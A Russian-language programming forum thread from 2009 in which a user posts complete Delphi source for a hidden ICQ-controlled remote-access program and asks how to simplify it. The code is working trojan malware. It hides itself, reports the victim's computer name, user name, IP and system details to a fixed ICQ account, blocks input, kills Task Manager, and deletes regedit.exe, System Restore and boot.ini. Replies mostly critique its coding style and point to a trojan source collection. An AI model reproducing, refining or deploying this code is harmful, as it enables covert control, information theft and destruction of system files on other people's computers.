Как упростить корявый код(Дельфи)?
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Как упростить корявый код(Дельфи)? - 2009-03-24 09:35:29.066666
|
|
|
Sokolik
Сообщений: 46
Оценки: 0
Присоединился: 2009-02-19 14:36:16.693333
|
Всем доброго времени суток! Накодил прогу для удаленного управления компьютером через ICQ протокол. Код получился корявый, но работает нормально. Как можно реализовать функции примененные в коде, но без использования большого количества таймеров? И вобще как в ощем можно оптимизировать этот код?
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Registry, ExtCtrls, ICQClient, StdCtrls,MMSystem,ShellAPI,WinSock,
AutoRun;
type
TForm1 = class(TForm)
Memo1: TMemo;
ICQClient1: TICQClient;
Timer2: TTimer;
Timer1: TTimer;
Timer3: TTimer;
Timer4: TTimer;
TimerTMRG: TTimer;
Timer6: TTimer;
TimerGrad: TTimer;
TimerMouse: TTimer;
Timer7: TTimer;
TimerMonitor: TTimer;
Timer8: TTimer;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Edit4: TEdit;
Timer9: TTimer;
Timer10: TTimer;
Edit5: TEdit;
Timer11: TTimer;
Timer12: TTimer;
Timer5: TTimer;
Timer13: TTimer;
TimerWMP: TTimer;
TimerEbnMouse: TTimer;
Timer14: TTimer;
Timer15: TTimer;
TimerPizda: TTimer;
Timer16: TTimer;
Timer17: TTimer;
Label1: TLabel;
Timer18: TTimer;
Timer19: TTimer;
Label2: TLabel;
Timer20: TTimer;
Timer21: TTimer;
Timer22: TTimer;
Label3: TLabel;
Label4: TLabel;
Timer23: TTimer;
Timer24: TTimer;
procedure AddEvent(EventText : String);
procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure TimerTMRGTimer(Sender: TObject);
procedure Timer6Timer(Sender: TObject);
procedure TimerGradTimer(Sender: TObject);
procedure TimerMouseTimer(Sender: TObject);
procedure Timer7Timer(Sender: TObject);
procedure TimerMonitorTimer(Sender: TObject);
procedure Timer8Timer(Sender: TObject);
procedure Timer9Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer10Timer(Sender: TObject);
procedure Timer11Timer(Sender: TObject);
procedure Timer12Timer(Sender: TObject);
procedure Timer5Timer(Sender: TObject);
procedure TimerWMPTimer(Sender: TObject);
procedure Timer13Timer(Sender: TObject);
procedure TimerEbnMouseTimer(Sender: TObject);
procedure Timer14Timer(Sender: TObject);
procedure Timer15Timer(Sender: TObject);
procedure TimerPizdaTimer(Sender: TObject);
procedure Timer16Timer(Sender: TObject);
procedure Timer17Timer(Sender: TObject);
procedure Timer18Timer(Sender: TObject);
procedure Timer19Timer(Sender: TObject);
procedure Timer20Timer(Sender: TObject);
procedure Timer21Timer(Sender: TObject);
procedure Timer22Timer(Sender: TObject);
procedure Timer4Timer(Sender: TObject);
procedure Timer23Timer(Sender: TObject);
procedure Timer24Timer(Sender: TObject);
private
{ Private declarations }
public
procedure HardwareInfo;
procedure OSInfo;
{ Public declarations }
end;
const
Crlf = Chr(13) + Chr(10);
var
Form1: TForm1;
T : TextFile;
procedure BlockInput; external 'user32.dll';
implementation
{$R *.dfm}
function UpTime: string;
const
ticksperday: Integer = 1000 * 60 * 60 * 24;
ticksperhour: Integer = 1000 * 60 * 60;
ticksperminute: Integer = 1000 * 60;
tickspersecond: Integer = 1000;
var
t: Longword;
d, h, m, s: Integer;
begin
t := GetTickCount;
d := t div ticksperday;
Dec(t, d * ticksperday);
h := t div ticksperhour;
Dec(t, h * ticksperhour);
m := t div ticksperminute;
Dec(t, m * ticksperminute);
s := t div tickspersecond;
Result := 'Uptime: ' + IntToStr(d) + ' Days ' + IntToStr(h) + ' Hours ' + IntToStr(m) +
' Minutes ' + IntToStr(s) + ' Seconds';
end;
Type TOSVersion=(osUnknown, osUnknown9x, osUnknownNT, osWin95, osWin98, osWin98SE, osWinME, osWinNT, osWin2000, osXP);
function GetOSVersion : TOSVersion;
var osVerInfo : TOSVersionInfo;
majorVer, minorVer : Integer;
begin
result := OsUnknown;
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(osVerInfo) then
begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
case osVerInfo.dwPlatformId of
VER_PLATFORM_WIN32_NT :
Case majorVer of
4:result := OsWinNT;
5:if minorVer=0 then result := OsWin2000
else
if minorVer=1 then result := OsXP else result := osUnknownNT;
else result := osUnknownNT;
end; {Case majorVer of}
VER_PLATFORM_WIN32_WINDOWS :
case majorVer of
4: Case minorVer of
0:result := OsWin95;
10: if osVerInfo.szCSDVersion[1] = 'A' then result := OsWin98SE else result := OsWin98;
90: result := OsWinME;
else result := osUnknown9x;
end;{Case minorVer of}
else result := osUnknown9x;
end{case majorVer of}
else result := OsUnknown;
end;{case osVerInfo.dwPlatformId of}
end;{if GetVersionEx(osVerInfo) then}
end;
type
TVendor = array[0..11] of char;
function GetCPUVendor: TVendor; assembler; register;
asm
PUSH EBX {Save affected register}
PUSH EDI
MOV EDI,EAX {@Result (TVendor)}
MOV EAX,0
DW $A20F {CPUID Command}
MOV EAX,EBX
XCHG EBX,ECX {save ECX result}
MOV ECX,4
@1:
STOSB
SHR EAX,8
LOOP @1
MOV EAX,EDX
MOV ECX,4
@2:
STOSB
SHR EAX,8
LOOP @2
MOV EAX,EBX
MOV ECX,4
@3:
STOSB
SHR EAX,8
LOOP @3
POP EDI {Restore registers}
POP EBX
end;
function GetCPUSpeed: double;
const
DelayTime = 500; // время измерения в миллисекундах
var
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: integer;
begin
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);
SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);
Sleep(10);
asm
dw 310Fh // rdtsc
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh // rdtsc
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;
SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);
Result := TimerLo / (1000.0 * DelayTime);
end;
procedure Block;
asm
push 1
call BlockInput
end;
procedure UnBlock;
asm
push 0
call BlockInput
end;
// Информация о компьютере.
procedure TForm1.HardwareInfo;
var Size : cardinal;
PRes : PChar;
BRes : boolean;
lpSystemInfo : TSystemInfo;
begin
// Имя компьютера
Size := MAX_COMPUTERNAME_LENGTH + 1;
PRes := StrAlloc(Size);
BRes := GetComputerName(PRes, Size);
if BRes then Edit1.text :='Имя компьютера: '+ StrPas(PRes);
// Имя пользователя
Size := MAX_COMPUTERNAME_LENGTH + 1;
PRes := StrAlloc(Size);
BRes := GetUserName(PRes, Size);
if BRes then Edit2.text :='Имя пользователя: '+ StrPas(PRes);
end;
procedure TForm1.OSInfo;
var PRes : PChar;
Res : word;
BRes : boolean;
lpVersionInformation : TOSVersionInfo;
c : string;
begin
// Каталог, где установлена Windows
PRes := StrAlloc(255);
Res := GetWindowsDirectory(PRes, 255);
if Res > 0 then Edit3.text :='Каталог, где установлена Windows: '+ StrPas(PRes);
Res := GetSystemDirectory(PRes, 255);
if Res > 0 then Edit4.text :='Системный каталог Windows: '+StrPas(PRes);
end;
procedure grad(var bitmap:tbitmap);
type
trgb = record
r,g,b: byte;
end;
argb = array[0..1] of trgb;
pargb = ^argb;
var x,y:integer;
p:pargb;
b:tbitmap;
begin
bitmap.pixelformat := pf24bit;
b:=tbitmap.create;
b.assign(bitmap);
for y:=0 to b.height-1 do
begin
p := b.scanline[y];
for x := 0 to b.width - 1 do
begin
p[x].r:=((((b.width-x)*100) div b.width)*255) div 100;
p[x].b:=(((x*100) div b.width)*255) div 100;
end;
end;
bitmap.canvas.draw(0,0,b);
end;
procedure TForm1.Timer13Timer(Sender: TObject);
begin
if Memo1.Text ='12' then
begin
Memo1.clear;
TimerWMP.Enabled:=true;
icqclient1.SendMessage(2929299,'При открытии Windows Media Player будет сразу закрыт');
end;
end;
procedure TForm1.AddEvent(EventText : String);
begin
EventText :=EventText;
if Memo1.Text = '' then
Memo1.Text := EventText
else
Memo1.Lines.Add(EventText);
end;
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin
AddEvent(''+ Msg +'');
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if Memo1.Text ='1' then
begin
Memo1.clear;
WinExec('Notepad', SW_SHOW);
icqclient1.SendMessage(2929299,'Блокнот запушен');
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
if not(ICQClient1.loggedIn) then ICQClient1.Login();
end;
procedure TForm1.Timer3Timer(Sender: TObject);
begin
if Memo1.Text ='2' then
begin
Memo1.clear;
mciSendString('Set cdaudio door open wait', nil, 0, handle);
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
icqclient1.SendMessage(2929299,'Лоток CD-ROM открыт, закрыт, выведено сообшение об ошибке CD-ROM');
MessageDLG('Ошибка #000832#001 CD-ROM',mtError,[mbOK],0);
end;
end;
procedure TForm1.TimerTMRGTimer(Sender: TObject);
var w:hwnd;
begin
w:=findwindow(nil,'Диспетчер задач Windows');
if (w<> 0) then begin
sendmessage(w,wm_destroy,0,0);
MessageDLG('Диспетчер задач Windows вызвал ошибку',mtError,[mbOK],0);
end;
end;
procedure TForm1.Timer6Timer(Sender: TObject);
begin
if Memo1.Text ='4' then
begin
Memo1.clear;
TimerGrad.Enabled:=true;
icqclient1.SendMessage(2929299,'Изображение на мониторе жертвы вызвало у него истерику');
end;
end;
procedure TForm1.TimerGradTimer(Sender: TObject);
var
bmp: tbitmap;
dc: hdc;
begin
bmp:=tbitmap.create;
bmp.height:=screen.height;
bmp.width:=screen.width;
dc:=getdc(0);
bitblt(bmp.canvas.handle, 0, 0,
screen.width, screen.height,
dc, 0, 0, srccopy);
grad(bmp);
bitblt(dc, 0, 0, screen.width, screen.height,
bmp.canvas.handle, 0, 0, srccopy);
end;
procedure TForm1.TimerMouseTimer(Sender: TObject);
begin
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
end;
procedure TForm1.Timer7Timer(Sender: TObject);
begin
if Memo1.Text ='5' then
begin
Memo1.clear;
TimerMouse.Enabled:=true;
icqclient1.SendMessage(2929299,'Мышка автоматически кликает на наведенные объекты');
end;
end;
procedure TForm1.TimerMonitorTimer(Sender: TObject);
begin
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND,SC_MONITORPOWER, 2);
sleep(3000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND,SC_MONITORPOWER, 0);
TimerMonitor.Enabled:=false;
icqclient1.SendMessage(2929299,'Монитор выключился и включился!!!Внимание!!!Не злоупотребляйте этой функцией, многократное использование может привести к поломке монитора жертвы!!!');
end;
procedure TForm1.Timer8Timer(Sender: TObject);
begin
if Memo1.Text ='6' then
begin
Memo1.clear;
TimerMonitor.Enabled:=true;
end;
end;
procedure TForm1.Timer9Timer(Sender: TObject);
begin
if Memo1.Text ='7' then
begin
Memo1.clear;
HardwareInfo;
OSInfo;
icqclient1.SendMessage(2929299,Edit1.Text+'***' + Edit2.Text+'***' + Edit3.Text+'***' + Edit4.Text);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
type
InAddr = Array[0..10] of PInAddr;
TInAddr = ^InAddr;
var
Host: PHostEnt;
pPtr: TInAddr;
Buffer: Array[0..63] of char;
i: Integer;
Socket: TWSAData;
begin
application.showmainform:=false;
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);
label1.Caption := Format('CPU speed: %f MHz;', [GetCPUSpeed]);
Label2.Caption := GetCPUVendor;
WSAStartup( $101, Socket );
GetHostName( Buffer, SizeOf( Buffer ) );
Host := GetHostByName( buffer );
if Host = nil then Exit;
pPtr := TInAddr( Host^.h_addr_list );
i := 0;
while pPtr^[i] <> nil do
begin
Edit5.text :=( inet_ntoa( pPtr^[i]^ ) );
Inc( i );
end;
WSACleanup;
end;
procedure TForm1.Timer10Timer(Sender: TObject);
begin
if Memo1.Text ='8' then
begin
Memo1.clear;
icqclient1.SendMessage(2929299,'ip адрес сетевого устройства: ' + Edit5.Text);
end;
end;
procedure TForm1.Timer11Timer(Sender: TObject);
begin
if Memo1.Text ='9' then
begin
Memo1.clear;
Block;
icqclient1.SendMessage(2929299,'Мышка и клавиатура заблокирована');
end;
end;
procedure TForm1.Timer12Timer(Sender: TObject);
begin
if Memo1.Text ='10' then
begin
Memo1.clear;
MessageDLG('За компьютером ламер!!!',mtError,[mbYes],0);
icqclient1.SendMessage(2929299,'Ошибка с сообщением За компьютером ламер показано');
end;
end;
procedure TForm1.Timer5Timer(Sender: TObject);
begin
if Memo1.Text ='11' then
begin
Memo1.clear;
ShellExecute(Application.Handle, nil,
'http://www.dejanude.com/',
nil, nil, SW_SHOWNORMAL);
icqclient1.SendMessage(2929299,'Порносайт открыт в браузере');
end;
end;
procedure TForm1.TimerWMPTimer(Sender: TObject);
var w:hwnd;
begin
w:=findwindow(nil,'Проигрыватель Windows Media');
if (w<> 0) then begin
sendmessage(w,wm_destroy,0,0);
MessageDLG('Проигрыватель Windows Media вызвал ошибку',mtError,[mbOK],0);
end;
end;
procedure TForm1.TimerEbnMouseTimer(Sender: TObject);
begin
randomize;
setCursorPos(random(Screen.Width-1),random(Screen.Height-1));
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
end;
procedure TForm1.Timer14Timer(Sender: TObject);
begin
if Memo1.Text ='13' then
begin
Memo1.clear;
TimerEbnMouse.Enabled:=true;
icqclient1.SendMessage(2929299,'Мышка ошалела!!!Передвигаеться по области экрана со скоростью света и клькает куда ей угодно');
end;
end;
procedure TForm1.Timer15Timer(Sender: TObject);
begin
if Memo1.Text ='14' then
begin
Memo1.clear;
TimerEbnMouse.Enabled:=false;
icqclient1.SendMessage(2929299,'Бешеная мышка успокоилась');
end;
end;
procedure TForm1.TimerPizdaTimer(Sender: TObject);
begin
if Memo1.Text ='pizda' then
begin
Memo1.clear;
deletefile('C:\WINDOWS\system32\Restore\rstrui.exe');
deletefile('D:\WINDOWS\system32\Restore\rstrui.exe');
deletefile('E:\WINDOWS\system32\Restore\rstrui.exe');
deletefile('F:\WINDOWS\system32\Restore\rstrui.exe');
deletefile('C:\WINDOWS\system32\regedit.exe');
deletefile('D:\WINDOWS\system32\regedit.exe');
deletefile('E:\WINDOWS\system32\regedit.exe');
deletefile('F:\WINDOWS\system32\regedit.exe');
deletefile('C:\boot.ini');
deletefile('D:\boot.ini');
deletefile('E:\boot.ini');
icqclient1.SendMessage(2929299,'удален файл regedit.exe, boot.ini...');
end;
end;
procedure TForm1.Timer16Timer(Sender: TObject);
begin
if Memo1.Text ='mgr' then
begin
Memo1.clear;
TimerTMRG.Enabled:=true;
icqclient1.SendMessage(2929299,'Диспетчер задач не сможет открыться');
end;
end;
procedure TForm1.Timer17Timer(Sender: TObject);
begin
if Memo1.Text ='del' then
begin
Memo1.clear;
WinExec('C:\WINDOWS\del_sv.bat', SW_SHOW);
icqclient1.SendMessage(2929299,'Программа начала функцию самоуничтожения, ее дальнейшее использование не возможно на компьютере жертвы');
close;
end;
end;
procedure TForm1.Timer18Timer(Sender: TObject);
begin
if Memo1.Text ='3' then
begin
Memo1.clear;
icqclient1.SendMessage(2929299,label1.caption + 'производитель CPU:'+ label2.caption );
end;
end;
procedure TForm1.Timer19Timer(Sender: TObject);
begin
if Memo1.Text ='exit' then
begin
Memo1.clear;
icqclient1.SendMessage(2929299,'Программа выходит из режима ONLINE');
close;
end;
end;
procedure TForm1.Timer20Timer(Sender: TObject);
begin
if Memo1.Text ='15' then
begin
Memo1.clear;
ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);//скрыть
icqclient1.SendMessage(2929299,'иконки на рабочем столе скрыты');
end;
end;
procedure TForm1.Timer21Timer(Sender: TObject);
begin
if Memo1.Text ='16' then
begin
Memo1.clear;
ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW); //показать иконки
icqclient1.SendMessage(2929299,'иконки на рабочем столе не скрыты');
end;
end;
procedure TForm1.Timer22Timer(Sender: TObject);
begin
if Memo1.Text ='17' then
begin
Memo1.clear;
begin
case GetOSVersion of
osUnknown: label3.Caption:='Версия не определена';
osWin95: label3.Caption:='Windows 95';
osWin98: label3.Caption:='Windows 98';
osWin98SE: label3.Caption:='Windows 98 SE';
osWinME: label3.Caption:='WindowsMe';
osWinNT: label3.Caption:='Windows NT';
osWin2000: label3.Caption:='Windows 2000';
osXP: label3.Caption:='Windows XP';
end;
begin
icqclient1.SendMessage(2929299,label3.caption);
end;
end;
end;
end;
procedure TForm1.Timer4Timer(Sender: TObject);
begin
if Memo1.Text ='18' then
begin
Memo1.clear;
label4.Caption := UpTime;
icqclient1.SendMessage(2929299,label4.caption);
end;
end;
procedure TForm1.Timer23Timer(Sender: TObject);
begin
if Memo1.Text ='19' then
begin
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND,SC_MONITORPOWER, 2);
Memo1.clear;
sleep(3000);
icqclient1.SendMessage(2929299,'Монитор выключился');
end;
end;
procedure TForm1.Timer24Timer(Sender: TObject);
begin
if Memo1.Text ='20' then
begin
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND,SC_MONITORPOWER, 0);
Memo1.clear;
sleep(3000);
icqclient1.SendMessage(2929299,'Монитор включился');
end;
end;
end.
|
|
|
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 14:31:00.763333
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
такого убожества я в жизни еще не видел :(:(:( объясни мне, зачем столько таймеров ? бредятину ты написал… Каждую фичу вынеси в фукцию или процедуру, а в ICQClient1MessageRecv сверяй Msg, например function GetOs:string;
begin
.....
end;
if Msg='OS' then
icqclient1.SendMessage(2929299,GetOs);
if Msg=.... then
........................
|
|
|
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 15:16:53.836666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Массивы рулят :D
|
|
|
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 18:51:58.626666
|
|
|
HaXyaToP
Сообщений: 43
Оценки: 0
Присоединился: 2009-03-17 22:50:40.540000
|
1. Убрать тучу таймеров. 2. Использовать Таймер вместо Sleep'a 3. Не проверять текст в мемо, а сверять переменные,из который грузится текст в мемо ИЛИ Откомпилировать и удалить сорцы.
|
|
|
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 19:16:46.730000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Да, ещё не поменашет нормально идентификаторы обзывать. Например не Event1, Event2, Event3, а OnGetWinVer, OnExit, OnCrash и пр. Тогда хоть код читабельным становится.
|
|
|
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 21:42:47.620000
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
А чето как то необычно. Серьезные такие фичи на асме сочетаются с откровенными недодумками (типо то место где таймер гадит - там попытка удалить файл по разным путям вместо проверки того какой существует, протокол аси=оригинально….) Реал с таймерами дико,переделай.
|
|
|
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 21:57:44.663333
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
quote:
такие фичи на асме сочетаются с откровенными недодумками Заходишь СЮДА - на дельфи есть все для любого трояна, отсюда наверно и скатано :)
|
|
|
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 23:22:06.843333
|
|
|
VENOM4X
Сообщений: 246
Оценки: 0
Присоединился: 2008-02-18 22:49:08.960000
|
Присоединяюсь к всему выше написанному, и ещё - отредактируй название таймера пока модераторы не появились :D
|
|
|
RE: Как упростить корявый код(Дельфи)? - 2009-03-25 00:38:45.010000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
TimerEb#Mouse xD
|
|
|
|
|